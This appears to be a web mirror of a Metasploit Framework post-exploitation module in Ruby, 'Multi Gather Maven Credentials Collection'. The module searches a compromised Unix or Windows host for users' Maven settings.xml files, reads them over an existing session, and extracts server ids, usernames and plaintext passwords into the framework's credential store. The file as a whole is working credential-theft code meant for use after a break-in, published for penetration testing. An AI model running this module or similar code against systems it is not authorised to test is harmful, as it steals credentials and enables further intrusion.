CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/maven_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'nokogiri'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Unix
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather Maven Credentials Collection',
17
'Description' => %q{
18
This module will collect the contents of all users settings.xml on the targeted
19
machine.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => ['elenoir'],
23
'Platform' => %w[bsd linux osx unix win],
24
'SessionTypes' => ['shell', 'meterpreter'],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
core_channel_eof
29
core_channel_open
30
core_channel_read
31
core_channel_write
32
]
33
}
34
}
35
)
36
)
37
end
38
39
def gathernix
40
print_status('Unix OS detected')
41
files = cmd_exec('locate settings.xml').split("\n")
42
# Handle case where locate does not exist (error is returned in first element)
43
if files.length == 1 && !directory?(files.first)
44
files = []
45
paths = enum_user_directories.map { |d| d }
46
if paths.nil? || paths.empty?
47
print_error('No users directory found')
48
return
49
end
50
paths.each do |path|
51
path.chomp!
52
file = 'settings.xml'
53
target = "#{path}/#{file}"
54
if file? target
55
files.push(target)
56
end
57
end
58
end
59
return files
60
end
61
62
def gatherwin
63
print_status('Windows OS detected')
64
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
65
end
66
67
def run
68
print_status('Finding user directories')
69
files = ''
70
case session.platform
71
when 'windows'
72
files = gatherwin
73
when 'unix', 'linux', 'bsd', 'osx'
74
files = gathernix
75
else
76
print_error('Incompatible platform')
77
end
78
if files.nil? || files.empty?
79
print_error('No settings.xml file found')
80
return
81
end
82
download_loot(files)
83
end
84
85
def download_loot(files)
86
print_status("Looting #{files.count} files")
87
files.each do |target|
88
target.chomp!
89
if file? target
90
print_status("Downloading #{target}")
91
extract(target)
92
end
93
end
94
end
95
96
def parse_settings(target, data)
97
xml_doc = Nokogiri::XML(data)
98
xml_doc.remove_namespaces!
99
100
xml_doc.xpath('//server').each do |server|
101
id = server.xpath('id').text
102
username = server.xpath('username').text
103
password = server.xpath('password').text
104
105
print_status('Collected the following credentials:')
106
print_status(' Id: %s' % id)
107
print_status(' Username: %s' % username)
108
print_status(' Password: %s' % password)
109
110
print_status('Try to find url from id...')
111
realm = ''
112
113
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
114
realm = mirror.xpath('url').text
115
print_status("Found url in mirror : #{realm}")
116
end
117
118
if realm.blank?
119
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
120
realm = repository.xpath('url').text
121
print_status("Found url in repository : #{realm}")
122
end
123
end
124
125
if realm.blank?
126
print_status('No url found, id will be set as realm')
127
realm = id
128
end
129
130
print_line('')
131
132
credential_data = {
133
origin_type: :import,
134
module_fullname: fullname,
135
filename: target,
136
service_name: 'maven',
137
realm_value: realm,
138
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
139
private_type: :password,
140
private_data: password,
141
username: username,
142
workspace_id: myworkspace_id
143
}
144
create_credential(credential_data)
145
end
146
end
147
148
def extract(target)
149
print_status("Reading settings.xml file from #{target}")
150
data = ''
151
if session.type == 'shell'
152
data = session.shell_command("cat #{target}")
153
else
154
settings = session.fs.file.new(target.to_s, 'rb')
155
data << settings.read until settings.eof?
156
end
157
158
parse_settings(target, data)
159
end
160
end
161
162